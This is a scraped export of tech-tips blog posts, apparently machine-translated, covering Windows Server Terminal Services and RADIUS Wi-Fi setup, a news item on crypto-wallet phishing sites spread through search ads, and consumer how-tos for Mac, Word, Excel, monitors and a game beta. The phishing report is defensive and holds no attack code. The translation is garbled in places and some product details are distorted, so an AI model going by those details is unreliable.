check the Desktop Experience checkbox, and then click Next .\n  Figure 21\n2. Click Install on the Confirm Installation Selections page 3. On the Installation Results page, read the warning information that needs to be restarted to finish the installation. 4. Click Yes in the dialog box asking if you want to restart the computer now. 5. Log in as an administrator. The installation will continue and takes a few minutes, so be patient. 6. Click Close on the Installation Results page, which is a way to show that the installation was successful. Configure Terminal Services registration mode We will finish configuring Terminal Services by setting up Terminal Services Licensing Mode. Follow the steps below to configure this mode: 1. From the Administrative Tools menu, click the Terminal Services item, and then click Terminal Services Configuration . 2. In the middle pane of the Terminal Services Configuration console, double-click Terminal Services Licensing mode .\n  Figure 22\n3. In the Properties dialog box, select the Per User option for Specify the Terminal Services licensing mode . Select Automatically discover license server for Specify the license server discovery mode . Click OK .\n  Figure 23\n4. Click the Licensing Diagnosis button in the left panel of the console. In the middle pane you will see detailed information about the registry configuration for this Terminal Server.\n  Figure 24\n5. Close the Terminal Service Configuration console Conclude In Part 1 of this two-part series, I showed you how to install Terminal Server services and Terminal Server registration on the Terminal Server, and then we configured the Terminal Services subscription, Desktop Experience installation. on the Terminal Server and configure the registration mode for the terminal server. Next, I will show you how to install and configure Terminal Services Gateway and RDP client. It will then end by creating a connection from an external location.\n  Configuring Terminal Services Gateway of Windows Server 2008 (Part 2)\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqZo7RuwMSrpKKmkaF6tLHRr6CcnaNitKLAxLCYsmWfm3q4tc2dprCrXaiys8LEq2RraGBterGt0a1kag%3D%3D\n","link":"/post/configuring-terminal-services-gateway-of-windows-server-2008-part-1/","section":"post","tags":null,"title":"Configuring Terminal Services Gateway of Windows Server 2008 (Part 1)"},{"body":"With cryptocurrencies increasing in price and more and more people pouring money into investments, the crypto market becomes a \"fertile ground\" for hackers. Many crypto holders have lost a large amount of money after being tricked by hackers.\nRecently, security research firm Check Point Research has warned about a new form of fraud targeting cryptocurrency holders globally, including Vietnam. Accordingly, hackers will create fake websites or extensions (browser extensions), with the same interface as websites or extensions of popular cryptocurrency wallets, such as Phantom App, MetaMask or PancakeSwap…\n  Not stopping there, hackers will spend money to buy ads on Google to bring their phishing sites to the top of the search list. Many people who do not double-check the website link mistakenly visit fake websites, instead of the real website of cryptocurrency wallets.\nOn this fake website, there will be a dialog box to ask the user to log in to the e-wallet account. Many users who did not recognize the fake websites did not hesitate to fill in the login information, then enter the OTP password confirmation code (issued through the smartphone application) to log in to the e-wallet account.\nIn just a short time, hackers will use these logins (including OTP codes) to access users' e-wallets and steal all the cryptocurrencies contained therein.\nIn case the victim visits a fake website and creates a new e-wallet, they will be issued a Recovery Phrase (account recovery phrase, which is a 12-word string of English words that users can use to log in). to e-wallets on any device). In case the victim uses this account recovery phrase to log in, they will log into the hacker's account and any funds transferred there will actually be transferred to the hacker's digital wallet.\nAccording to research by security experts Check Point Research, within the last few days, hackers have stolen more than $500,000 worth of cryptocurrency globally thanks to this scam.\nOn cryptocurrency trading groups in Vietnam, many people have also reflected that they lost all their crypto in their wallets because of the same \"tricks\" as Check Point Research warned.\n  Due to the anonymity of crypto-currency interfaces, it is impossible to identify the scammers and steal money from e-wallets, so the victims have to accept the loss of their funds. without being able to identify the culprit.\n\"I believe we are facing a new cybercrime trend where scammers will use Google's search engine as a means of attack, instead of email phishing like before,\" Oded Vanunu said. , said Check Point's Director of Vulnerability Research. \"According to our observations, every hacker ad on Google is carefully keyword-selected to stand out in the search results. The phishing sites are meticulously designed and identical to each other. real website\".\n\"I urge the crypto community to carefully check the links of the websites they visit to avoid being trapped by hackers at this time,\" Vanunu added.\nCheck Point Research's findings set off alarm bells about the quality of ads on Google, as the search engine didn't thoroughly censor the content advertised on its site.\nAfter Check Point published a report on the cryptocurrency scam, Google immediately removed the ads of the fraudulent websites.\n\"This behavior violated our policies, and we immediately removed the advertising content and suspended the offending ad accounts. We are always adjusting our operating mechanisms to prevent it. these violations,\" a Google representative said.\nAccording to a study by GOBankingRates, a website dedicated to rating banking and financial services, 2020 was a record year for crypto-related scams, with more than 26,500 reported scams, causing victims to lose more than 419 million USD. The number of crypto-related scams tends to continue to increase sharply in 2021. According to a survey by financial consulting firm Motley Fool, in the first quarter of 2021 alone, there were 14,079 scams. related to cryptocurrencies recorded in the US alone, causing victims to lose more than 215 million USD.\nelectronic money ncG1vNJzZmismaXArq3KnmWcp51ktaKvyp6prGWclsKvr8dmp6iho6S7bsDOZqqtnZGhera%2FxKuqZpuirr21u8Kuqaudnpi2pr8%3D\n","link":"/post/hackers-launch-poison-to-steal-users-cryptocurrencies/","section":"post","tags":null,"title":"Hackers launch 'poison' to steal users' cryptocurrencies"},{"body":" To connect a Magic Mouse 2 or Magic Trackpad 2 to your Mac, you can plug it in and let your Mac take care of the connection. For older wireless mice and trackpads, you'll need to enable Bluetooth and pair the mouse with the computer...\nMethod 1of 2:\nConnecting a Magic Mouse 2 or Magic Trackpad 2  Connect the mouse to your Mac using the Lightning-to-USB cable. Plug the Lightning end into your mouse, and the USB end into your Mac.\n  Flip the switch on the bottom of the mouse. You'll see a green light above it, indicating it's on.\n  Wait for the device to pair. Your Mac will automatically pair the mouse with your computer.\n  Allow the mouse to charge. The mouse will charge while it's plugged in. Disconnect it once the charge is full. The Magic Mouse 2 will not function while plugged in.[1]  Method 2of 2:\nConnecting a Magic Mouse or Magic Trackpad  Click the Bluetooth button in your menu bar. If you don't see this menu option, open the System Preferences menu and select Bluetooth, then check the On box.\n  Click Turn Bluetooth On.\n  Turn the wireless device on. Use the switch on the bottom to turn it on.\n  Click the Apple menu.\n  Click System Preferences.\n  Click the Mouse option. If you don't see this option, click the Show All button at the top of the window.\n  Click the Set Up Bluetooth Mouse button.\n  Click Continue when your new mouse is highlighted.\n  Click Pair if prompted. This may appear for older wireless mice.\n  Click Quit after your device is paired. You can now use your wireless mouse with your Mac.[2]\n  Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7umr9NmmGaln6rApnnTqGSaZZ2WsA%3D%3D\n","link":"/post/how-to-connect-a-mouse-to-a-mac/","section":"post","tags":null,"title":"How to Connect a Mouse to a Mac"},{"body":"Removing red underscores and underlining under the text in Word 20126, 2013, 2010, 2007 will help your text look glimpsed and less distracting when reading. This is part of Word's spell-check feature, which wants to remove that red-green dashboard.\nLeave underlined words in Word Microsoft Word will highlight short words like 'I'm', 'don't' and 'doesn't' are grammatical errors with broken dashed lines. Since Word does not support Vietnamese standard, sometimes it is not because you type wrongly, type the short word but the red and green tiles still appear. Many users find it annoying to see these underlines. Therefore, the article will guide you how to remove this shortened underlined word.\nFor some official documents, this shortened word is considered inappropriate and non-formal. That is why Microsoft Word considers it a grammatical error. However, for documents that do not need solemnity and you feel that abbreviations are not a problem, these short words can be underlined.\n  To change this setting, click the \" File \" button on the ribbon in Microsoft Word.\n  Click on \" Options \" in the bottom left corner of the menu that appears.\n  Click the \" Proofing \" item in the left bar of the Word Options window.\n  Click on the optional squares in \" When correcting spelling and grammar in Word \" to uncheck and turn off the spell check feature. If you just want to delete the tiles for the acronym, scroll down and click the \" Settings \" button to the right of Writing Style in the section.\n  In the Grammar Settings window, scroll down, find and deselect the \" Contractions \" option under the Formal Language , then click \" OK \" to save the changes.\n  Word will not warn you of any more abbreviated words in all documents. If you want to re-enable this function, simply select the \" Contractions \" box and click \" OK \" to underline shortened words such as grammatical errors.\nHow to add your own words to Microsoft Word There are several ways to add your own words to the application's dictionary. The most common is just typing the word in Word, right-clicking on the word and selecting Add to dictionary from the context menu.\nIn addition, you can also click the Add to dictionary button when checking the entire document spelling.\nFinally, you can add words manually. Go to File\u0026gt; Options\u0026gt; Proofing\u0026gt; Custom Dictionaries . Highlight Custom.dic and click Edit Word List. Enter the word you want to add in the box at the top of the window, then click the Add button .\n  \nDo you manage an extended custom dictionary in Word? Let us know in the comments below!\nI wish you all success!\nSee more:\nThe spell check software is free How to turn off spell check mode in Windows 10? Useful tool to help 'check' English spelling and grammar errors ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYytn55lpaOxpr7LoqWeZZSauabAxGaroZ1dp7KlecGroJyjXZe5trGMm6mim5tiwq%2BwxKtkraCVYsSwvsNmoKdlp6S%2FpQ%3D%3D\n","link":"/post/how-to-remove-the-underline-delete-the-red-brick-blue-brick-under-the-word-in-word/","section":"post","tags":null,"title":"How to remove the underline, delete the red brick, blue brick under the word in Word"},{"body":" This wikiHow teaches you how to set up a two-monitor display for your Windows or Mac computer. Using two monitors for one display effectively doubles the amount of on-screen space with which you have to work. Know that most laptops can...\nPart 1of 4:\nChecking Second Monitor Support  Know that most laptops can support dual monitors. If you have a laptop which has at least one video output slot (e.g., an HDMI port or a VGA port), you can usually use an external monitor in conjunction with the video port. While a few Windows laptops might not support dual monitors, all Apple MacBook computers do—if you have a Mac laptop, feel free to skip ahead to connecting your second monitor.[1]   Understand that not all desktop computers support dual monitors. Depending on your computer's graphics card and motherboard, you may not be able to run a second monitor at the same time as your first.[2] Again, if you're using an Apple iMac desktop unit, you can use dual monitors.   Check your computer's video output ports. Most computers have at least two ports for video output, meaning that you'll usually be able to connect a second monitor; however, if the two (or more) ports aren't level with each other, they're most likely not part of the same graphics card and thus not able to be used for dual monitors.[3] For example, if you see two horizontal HDMI ports next to (or on top of) each other, your computer's graphics card probably supports dual monitors. This goes for different outputs as well (e.g., a VGA output next to an HDMI output). Desktop Windows computers normally have these ports on the back of the computer case. If you only see one video output on a desktop computer, your computer's graphics card only supports one monitor at a time. Laptops which have one video output port can usually support multiple monitors.   Determine whether your motherboard supports dual monitors. Virtually all modern computers' motherboards support multiple monitors, but older machines may not. You can check your motherboard for dual monitor support by doing the following: Find your motherboard's name. Look up your motherboard's name in a search engine (e.g., Google). Select a search result which lists your motherboard's features. Look for a \"Multi-Display\", \"Multi-Monitor\", or \"Dual Display\" feature.  Part 2of 4:\nConnecting the Second Monitor  Determine your computer's video connection type. On the back of your computer's CPU box (or monitor if you're using an iMac), you should see several ports, one of which is currently being used for your main monitor. Common connection ports include the following: DVI — A wide piece of plastic with numerous small square holes in it. VGA — A trapezoid-shaped piece of colored plastic with several pinholes in it. HDMI — A thin, flat, hexagonal port. These are on most modern computers and TVs. DisplayPort — Similar to HDMI, but has a flat edge on one side instead of being symmetrical. Thunderbolt — Found on the backs of most iMac monitors, the Thunderbolt connection has a lightning bolt icon beneath it. You can connect an adapter for any of the above video connections to a Thunderbolt port (e.g., VGA to Thunderbolt).[4]   Check the second monitor's connection type. Your second monitor should have at least one of the previously mentioned connection types. You don't have to use the same connection that you use for your first monitor on your second monitor. For example, you can attach the first monitor using a DisplayPort cable and attach the second monitor using HDMI. In some cases, you might be able to set up a second monitor wirelessly. For example, to use an iPad as a second monitor, you can connect it to some computers wirelessly using an app called Air Display.   Buy any cables or adapters that you don't have. If you don't have the proper cable or adapter that you need to attach your second monitor to the computer, you can find it online or in a tech department store. Especially if you're connecting a second monitor to an iMac, you'll need either a Thunderbolt cable or a port-to-Thunderbolt adapter for the back of the monitor.   Connect the second monitor to the computer. Plug one end of the second monitor's video cable into the back of the computer, then plug the other end into the second monitor.\n  Connect the second monitor to a power source. Plug your monitor's power cable into an electrical outlet, such as a wall socket or a surge protector.\n  Turn on the second monitor. Press the \"Power\"  button on the second monitor to make sure that it is turned on and ready to receive the signal from your computer's main monitor. You can now proceed with setting the display preferences for your monitor on Windows or on Mac. EXPERT TIP\n Chiara Corsaro\nGeneral Manager of macVolks, Inc. Chiara Corsaro is the General Manager and Apple Certified Mac \u0026amp; iOS Technician for macVolks, Inc., an Apple Authorized Service Provider located in the San Francisco Bay Area. macVolks, Inc. was founded in 1990, is accredited by the Better Business Bureau (BBB) with an A+ rating, and is part of the Apple Consultants Network (ACN).  Chiara Corsaro\nGeneral Manager of macVolks, Inc.\nIn most cases, this is all you'll need to do. Typically, you just have to plug in your second monitor and turn it on, and your dual screen will automatically show up. However, if you want to make any adjustments, you'll just go into your 'System Preference' under 'Display Settings' to change how it's set up.\n  Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIydrJqkXaK8r7XTqKms\n","link":"/post/how-to-set-up-dual-monitors/","section":"post","tags":null,"title":"How to Set Up Dual Monitors"},{"body":"Microsoft Excel is known for its main functions of computation, but sometimes we have to write exponential formulas in e x , x 2 , y 3 .) or molecular formulas in chemistry. learn (H 2 O, H 2 CO 3 , .), formulas in physics . how to write. The article I will guide you to write the superscript and subscript in Excel.\n  How to create indexed exponential numbers on subscript in Excel Step 1: Right-click the number and select Format Cells   Step 2: The Format Cells dialog box appears, we do: - If creating the above index, select Superscript as shown\n  And the result is\n  - If creating subscript, select Subscript as shown\n  Finally, we get the result:\n  ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabopqutbXNoGSsraCav7Sv0aKnrWWjqq%2B0r9Gip61lmaN6psTCnqM%3D\n","link":"/post/instructions-for-creating-superscript-subscript-in-excel/","section":"post","tags":null,"title":"Instructions for creating superscript, subscript in Excel"},{"body":"Here's how to download Valorant on your computer. First of all, you need to know this is just a way to download the closed Closed Beta version of Valorant. Although Riot Game allows users to fake IP to download but cannot play, you need to have a Beta Key to activate.\nStep 1 : First you need to have a Riot Games account, register at: https://signup.na.leagueoflegends.com/en/signup/index#/.\n You can select the server in the Region section in the upper right corner of the screen Step 2 : You need Fake IP to download games from North America server.\nThen use the Fake IP software to fake ip to the US country, you can use Hotspot Shield or Windscribe. Next visit the link to download this Valorant and click Login. Next, log in to your Riot Game account.\nHostpot Shield can say is the best fake IP software today and famous in the world. It helps you stay anonymous when accessing the Internet and accessing websites that are blocked in your country. This is a free software, but if you want to use all the VPN in the software, you have to pay.\n Valorant players need Fake IP to go to North America First, visit the following link to download Hostpot Shield:\nhttps://www.hotspotshield.com\nAfter downloading, double-click the downloaded file to install.\n1. You click Install to install.\n2. Wait a while for the installation process to finish and click Finish.\n3. After installing the application will automatically run, a window pops up you press the arrow to return\n4. At the main interface of the program, click on the Power icon and run the fake IP program.\n5. Here we will see Hostpot Shield is fake IP to the United States. If you want to use VPN to fake IP to other countries, you will have to pay. You can visit the website https://www.whatismyip.com/ to see if your computer has been transferred IP to other countries or not.\nStep 3 : Next, access the download link of Valorant: Valorant Closed Beta and click Login. Here, Riot will ask you to login\u0026nbsp; to a Twitch account connected to Riot . If a confirmation code is required, go to the email you used to register for the Twitch account to get the code in the main mailbox. Then, click Connect at Riot Games\n Riot accounts are required to be connected to Twitch Step 4 : Now you need to watch Stream Valorant on Twitch. There will be a list of videos to watch the Valorant livestream, click Watch and watch the Valorant livestream video for a period of time. If you're lucky, you'll receive Valorant's Closed Beta Key from Twitch Drops.\nStep 5 : Finally, click download Valorant. The downloaded file will be named Install VALORANT.exe and has a size of 65mb. You just need to open and install normally. Once installed, log in to your Riot account and type beta Keys to play the game.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWacn6y7rbvAnaCnn12rrq270ZqlrWWToby0scNmmZ6skQ%3D%3D\n","link":"/post/instructions-for-downloading-valorant-closed-beta/","section":"post","tags":null,"title":"Instructions for downloading Valorant Closed Beta"},{"body":"Apple has integrated an AirPods optimization feature into iOS 14. With this feature, AirPods can learn your charging habits and will wait until you are ready to use them. to fully charge the battery to 100%. Previously, AirPods would only charge up to 80% of the battery.\nThis special feature is integrated by Apple to help reduce battery drain and extend the battery life of AirPods. Apple says: 'The optimized charging feature helps reduce battery aging. AirPods will learn your daily charging habits, and wait to charge more than 80% of the battery when it's almost time for you to use them. '\u0026nbsp;\n AirPods are easy to get lost after 1 year of use.\nThis means iOS 14 will learn how and when you charge your AirPods every day. Once plugged in, the AirPods will only charge about 80% of the battery, and wait. By the time the operating system thinks you are about to remove the charger to use the AirPods headset, it will finish the charging process to full 100% battery.\u0026nbsp;\nOn the iPhone, Apple has also integrated a battery optimization feature in iOS 13. This feature also helps limit the frequency of the battery to 100% full charge. Thanks to that reduce the stress of the battery and extend battery life.\u0026nbsp;\n This feature helps limit the frequency of the battery to 100% full charge.\nHopefully with iOS 14's new charging optimization feature, AirPods will be able to significantly improve battery life and reduce battery drain. These are all issues that users are very interested in when using true wireless headphones.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ktrC%2FjGprZp6VlsG2vsSsZKiopJ66qsbIp55mm5iWv6i1zaBkn6eiYq6qvs%2Bom6xlp522pLSMoZylqKNiv6aw1JycZpqRqcGmvthmm6uZmaM%3D\n","link":"/post/ios-14-features-optimizing-charging-for-airpods-which-helps-reduce-battery-drain/","section":"post","tags":null,"title":"iOS 14 features optimizing charging for AirPods, which helps reduce battery drain"},{"body":"BlueStacks supports running applications based on both x86, ARM, Android TV platforms as well as supporting high-definition Retina screens.\n  BlueStacks is available on OS X.\nAfter a long time of limited alpha testing, BlueStacks today is officially available on the platform for Mac computers. The developer said the app has been customized to take advantage of the powerful hardware features on Apple devices like the Retina display, multi-touch touchpad support.\nBlueStacks installed on OS X allow to run all Android applications based on x86, ARM or Android TV platforms. Users can also download directly from the Play Store app store like on Android phones or tablets.\nThe emulator suite also allows installed Android applications to use hardware like microphones and cameras if required. In addition, with applications that require strong graphics capabilities, BlueStacks can also respond by optimizing hardware on Mac computers.\nBlueStacks currently has about 90 million users on Windows computers. This software package allows download and use for free through the developer website.\nncG1vNJzZmismaXArq3KnmWcp51kvKeyyJygmqRdlrulvs6im2adnaq5osDOq2SaqKChtqSt06Kmp2WRq66quMCbo55ln6N6rq3CZqasZag%3D\n","link":"/post/official-android-emulator-application-available-on-mac-os-x/","section":"post","tags":null,"title":"Official Android emulator application available on Mac OS X"},{"body":"In this article, I will continue the discussion by configuring the RADIUS function in Windows Server 2008, introducing how to configure wireless access points and how to configure clients.\nIn Part 1 of this series, I explained why businesses should use Enterprise mode of Wi-Fi Protected Access (WPA or WPA2) instead of using Personal mode (PSK). . We also know that 802.1X authentication in Enterprise mode requires a RADIUS server and this is a component available in Windows Server.\nWe have installed and configured the Certificate Services in Windows Server 2008. In this article, I will continue the discussion by installing and configuring the Network Policy and Access Services. It will then set up wireless controllers and access points with encryption and RADIUS settings. Next we will configure the clients and make the connection.\nInstall the Network Policy and Access Services Role\nIn previous versions of Windows Server, the RADIUS function was provided by the Internet Authenticate Service (IAS). However, starting with Windows Server 2008, it is provided by the Network Policy and Access Services. This component includes previous IAS services along with the new NAP feature.\nIn the Initial Configuration Tasks window, find and click Add roles . If you have closed or hidden that window, click Start\u0026gt; Server Manager, select Roles and click Add Roles.\nSelect Network Policy and Access Services (see Figure 1) and click Next .\n  Figure 1: Network Policy and Access Services role settings\nReview the tutorial and click Next .\nSelect the items listed below (see Figure 2):\nNetwork Policy Server Routing and Remote Access Servers Remote Access Services Routing  Figure 2: Choose to install the first four options Click Next , and then click Install and wait for the installation process to complete and click Close .\nNow you can start configuring NPS with the RADIUS function: click Start , type nps.msc and press Enter .\nWith the Standard Configuration option, select RADIUS server for 802.1X Wireless or Wired Connections (see Figure 3) from the drop-down menu.\n  Figure 3: Select the RADIUS server for 802.1X\nClick Configure 802.1X .\nWith Type of 802.1X connections, select Secure Wireless Connections (see Figure 4) and click Next .\n Figure 4: Choose to secure wireless connections For each wireless controller or access point, click Add to create a new RADIUS client entry. But what is shown in Figure 5, you will have to specify the name, which is easy to distinguish, IP or DNS address and Shared Secret shared secret.\n Figure 5: Enter details for your wireless controller or access point These secrets are very important for authentication and encryption. Please enter complex details with a certain length, like a password. They need to be unique to each wireless controller or AP. You then need to enter such Shared Secret sharing secrets into the respective controllers or APs. Remember to keep them secret, save them somewhere safe.\nRegarding the authentication method, Authentication Method, select Microsoft Protected EAP (PEAP) because we are using PEAP.\nClick the Configure . button, select the certificate you created earlier, click OK .\nIn the Specify User Groups window (see Figure 6), click Add .\n Figure 6: Add the user groups you want them to connect to In the Select Group dialog boxes, enter groups, click Advanced to search for available groups. If you haven't created additional groups, select Domain Users to allow users and Domain Computers to authenticate the machine if your controllers or APs support it. If you receive an error message that the domain does not exist, restart the Active Directory Domain Services server and do it again.\nOnce you have added the desired groups, click Next to continue.\nIn the Configure a VLAN window (see Figure 7), if your network (switch and controllers or AP) supports VLANs and you have configured them, then click Configure . to set up VLAN functions.\n Figure 7: Click the Configure button to define VLAN settings Now that you're done configuring VLANs, click Next .\nReview the settings and click Finish .\nConfigure the wireless controller or AP\nNow is the time to configure the controllers or access points. First, invoke the web interface by entering their IP address into the browser. Then navigate to the wireless settings.\nSelect -Enterprise or WPA2-Enteprise . For encryption type, select TKIP if using WPA or AES if using WPA2 . Then enter the IP address for the RADIUS server, this is the Windows Sever machine you set up. Next, enter the shared secrets you created earlier for the controller and AP. Then save the settings.\nInstall the CA certificate of the client name\nIn Part 1, you created the server certificate and the Certificate Authority (CA) for yourself. So you need to install the CA on your clients. In this way, the client can validate the server before performing authentication.\nIf you are running a domain network using Active Directory, you need to deploy this certificate with Group Policy. However, it is possible to install it yourself, this is what we will discuss.\nTo view and manage certificates in Windows Server 2008, call the Certificate Manager. If you saved that MMC to your desktop in Part 1, open it. Otherwise, follow the steps below:\nClick Start , type MMC and press Enter . On the MMC window, click File \u0026gt; Add / Remove Snap-in . Select Certificates and click Add . Select Computer account and click Next . Select Local computer , click Finish , and then click OK . Tip: You should save this MMC to your desktop for easy access later: click File \u0026gt; Save .\nExpand Certificates (Local Computer Account) , open Personal , click Certificates .\nAs shown in Figure 8, right-click the certificate with the end of CA, then select All Tasks , Export . Then follow the wizard to export. When prompted, do not export the private key but use the DER format. You should export to the USB drive so you can bring it to other clients easily.\n Figure 8: Export the CA certificate to install on the clients Now on the client computers, double-click the certificate and click the Install Certificate button (Figure 9). Use the wizard to import it into the Trusted Root Certificate Authorities repository .\n Figure 9: Installing the CA certificate on the client Configure network settings on the client\nYou can configure network settings. Like installing certificates, you can push network settings for clients using Group Policy if you are running a domain network with Active Directory. However, you can still manually configure the clients, as discussed in Windows XP, Vista and 7 below.\nFirst, create a preferred network profile or network entry. With Security Type choose WPA-Enterprise or WPA2-Enteprise . With Encryption Type , select TKIP if using WPA or AES if using WPA2 .\nOpen the network profile and select the Security tab (in Vista \u0026amp; 7) or the Authentication tab (in XP). In XP, check the Enable IEEE 802.1x authentication option for this network.\nWith Network Authentication method (in Vista \u0026amp; 7, as shown in Figure 10) or EAP Type (in XP), select Protected EAP (PEAP) . In XP, also cancel select both checkboxes at the bottom of the window.\n Figure 10: Select PEAP as the authentication method Only in Windows 7, click the Advanced Settings button in the Security tab. Then on the Advanced Settings window, check the Specify authentication mode option, select User Authentication , and click OK to return to the Security tab.\nClick Settings (in Vista \u0026amp; 7) or the Properties button (in XP). Then in the Protected EAP Properties dialog box, follow these steps (Figure 11 shows an example):\nCheck the first box, Validate server certificate. Check the second box, Connect to these servers , and enter the full name of the server. If necessary, find it on Windows Server by clicking Start\u0026gt; Server Manager. In the Trusted Root Certification Authorities list box, select the CA certificate you just entered. Choose Secured password (EAP-MSCHAP v2) as the authentication method.   Figure 11: Configuring PEAP properties\nClick the Configure button. If you run a domain network using Active Directory, check this option. Otherwise, deselect it so users can enter their username and password and then connect to the network. Finally, click OK on the windows to save the settings.\nConnect and login!\nNow you have configured the server, the AP and can make the connection.\nOn the client computer, select the network from the list of available wireless networks. Unless you have enabled client mode to automatically use its Windows login, you will be prompted to enter the login credentials, as shown in Figure 12. Use the account on the Windows Server in the group already Previous configuration in the Network Policy and Access Services section. If you select the Domain Users group, the Administrator account needs to be enabled by default.\n Figure 12: Login window Conclude\nYou now have an Enterprise-encrypted network and 802.1X authentication, to do that, we really need to thank Windows Server 2008 for its built-in RADIUS functionality. In this article, I have shown you how to set up servers, APs, and clients for PEAP authentication. Users can now log in with their accounts.\nTo manage RADIUS server settings, such as adding or removing APs, use the Network Policy Server utility: click Start \u0026gt; All Programs \u0026gt; Administrative Tools \u0026gt; Network Policy Server .\nncG1vNJzZmismaXArq3KnmWcp51kwKbAjK6nZq%2BZm7ZurdStn56mpJ6wosDIqKVmoZ5ixKq6w6iurGWjmr%2B3sdFmaWloaGK9or7TZmk%3D\n","link":"/post/set-up-wi-fi-authentication-in-windows-server-2008/","section":"post","tags":null,"title":"Set up Wi-Fi authentication in Windows Server 2008"},{"body":"Just last year, the AoE Vietnam community in particular and gamers in general broke down in happiness when they learned that Facebook Gaming sponsored professional gamers, helping them to have a stable income to cover. life. It can be said that Facebook has opened up many job opportunities for many young Empire streamer who want to start a business.\n Facebook Gaming, a new job opportunity for Vietnamese streamers. Photo: StreamElements.\nThen, at the end of 2019, Facebook Gaming suddenly opened a \"purge\", cutting off the contracts of a series of streamers. Since then, leading up to the beginning of February 20/20, the number of AoE players was cut the contract, reducing sponsorship at 30%.\nSome names can be mentioned including Sy Yamato, Ky BN, Alonso, Dragonfly, Thunderstorm, Tieu Hiep . So what causes Facebook Gaming to make this decision?\n\"A person who is an officer may be thanks to him.\"\nThe noticeable success and the terrible achievements of many big names such as CSĐN, Hong Anh, and BiBi have made Facebook Gaming fully believe in the AoE Vietnam community. Therefore, some small stream streams, obscure, once played with CSN also easily pass the test parameters before signing a Facebook contract. Another point to note is that the number of players or watch AoE is quite small, tends to decrease. Therefore, when in need, it seems that they only go to vocational institutions, Hong Anh . skip some young, less attractive channels.\n The success of the ICB has helped the whole AoE Vietnamese community to be \"fragrant\".\nHowever, this made the CSNN and other famous players of the Empire village difficult. Specifically, on average, CSN must receive up to 3 matches per day to pull \"fame and view\" for the less reputable streamer. Moreover, you have to yield at least 1 hour per match without livestreaming.\nIf the number of people who need to \"carry\" just a few will not be too influential. But for this event, the number has reached several dozen, making famous AoE streamers unable to \"help\". Therefore, the departure of substandard streamer is inevitable.\nIt can be said that this solution both helps the Facebook Gaming platform to develop but also partly reduces the burden of talented content creators / streamers.\n\n\"Horses get used to the old ways\"\nAccording to information Kenh14.vn find out, the terms of Facebook Gaming contract have many differences compared to the popular streaming platforms in Vietnam. Not only that, streaming channels are not allowed to be profane, swearing, banning pornography (semi-nude or misleading), gambling ads and especially not playing copyrighted music.\n Annoying anger has become an integral part of Vietnamese streaming channels.\nAs seen above, in the taboos that Facebook put forward, most of them have become an indispensable habit of most streamer in Vietnam, such as taking off the shirt, playing music without copyright, killing viewers, swearing. . When reminded, \"horses get used to the old ways\", do not change. But to improve this problem, it may take a long time, not be able to do it overnight.\n\"A handful when hungry is equal to a pack when full\"\nIn fact, another reason leading to Facebook Gaming purifying streamer and reducing sponsorship is also partly due to the rapid development of AoE Vietnam platform on Facebook. It sounds like \"very ridiculous, but extremely convincing\".\n Now it's not hard to see AoE matches on Facebook.\nIndeed, nowadays, the tracking of AoE matches is no longer as restrictive as before. Many races appeared in the newsfeed of Facebook users or Empire fans.\nThis is really the crux of the problem. It is this dense appearance that has both helped AoE gain public recognition, but is also pushing it into the abyss. Previously, when you wanted to watch the Sparrows or other top players compete, followers often had to wait, \"lining up the slippers\" every day to enjoy that talent. That accidentally created a feeling of excitement, excitement, suspense for the audience through each match.\n Where was once \"lined with slippers to sit\" each game of the Sparrow.\nHowever, looking at Facebook Gaming today, AoE matches are constantly being shown publicly. Initially, fans of this game will be very excited because in the end, what they love is also recognized. But as long as, viewers will no longer feel nervous when having to wait for each match anymore but instead is the \"betrayal\", fed up by their rampant level.\nLooking further, although choosing a more fertile land than the Empire, but the League of Legends, League of Mobile, PUBG Mobile, Free Fire, CS: GO or Dota2 streamer also struggled to find a foothold, difficult to break because not Creating many impressive products compared to the previous generation. Because the way of conveying the message, the stream style . is not much different and creative to attract new viewers and retain the old ones. You can be pretty but not interacting with the viewer, playing bad games, boring stream content from day to day, and nobody wants to see it anymore. That makes viewers leave your channel and find new, more exciting names in the Vietnamese streamer village.\nIn short, this \"streamer purification\" move is a necessary step for Facebook Gaming to be able to improve the platform when it has to compete with many long-time rivals in Vietnam. In addition, the most core is still the \"product\" quality on the platform will be improved, attracting more viewers. This is also the law of \"natural selection\" full of harsh life. The unaltered person will fall back and be eliminated.\nFacebook Gaming is Facebook's livestream gaming platform in the world. In Vietnam, users can create livestream games, participate in Facebook's Promotion program and earn donate money. However, if you want to become a Contracting Partner (Facebook Gaming Creator), supported benefits, you must join the Network in Vietnam provided that you pass the background, index, photo test enjoy .\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJpkrJ2inrK0ec6fZJ6loJ6%2FpnnSramemZ2av27DwKxkrKyfpb2msIybsGaekZiyo7vOpGSgmZ2eu6h506GcZpufp7JuwsClrJ5lmah6r7vTZqSeqpWhxm6tzWagp5yZmK61u9E%3D\n","link":"/post/why-a-series-of-empire-streamer-was-stopped-by-facebook-gaming-the-core-value-is-not-merely-an-indicator/","section":"post","tags":null,"title":"Why a series of Empire streamer was stopped by Facebook Gaming, the core value is not merely an indicator!"},{"body":"YouTube has a like button and dislike so viewers can express their views on the video. However, this dislike button sometimes causes content creators and YouTube channels to have bad effects. So the project director at YouTube, Mr. Tom Leung gave some solutions to the dislike problem on Channel Creator Insider.\nThe group is also working on a YouTube channel manager to enable or disable like or dislike buttons at any time. But this also affects public content creators and video creators for statistical purposes.\nMr. Leung also suggested that there should be more options for the reason of pressing the dislike button so that content creators can get more accurate feedback. But to do this, content creators must receive statistical data in Analytics or Creator Studio, which is quite complicated.\n  With the idea of ​​completely removing the dislike button, Mr. Leung did not approve, when this was not the most suitable method due to non-democracy. And the YouTube development team continues to look for the best idea to solve the dislike problem on YouTube.\nSee more:\nUseful tips with URL Youtube you may not know Rip music from YouTube videos, download MP3s, download music from YouTube without using software How to block ads, turn off Youtube ads on iPhone Ways to find hot videos on YouTube 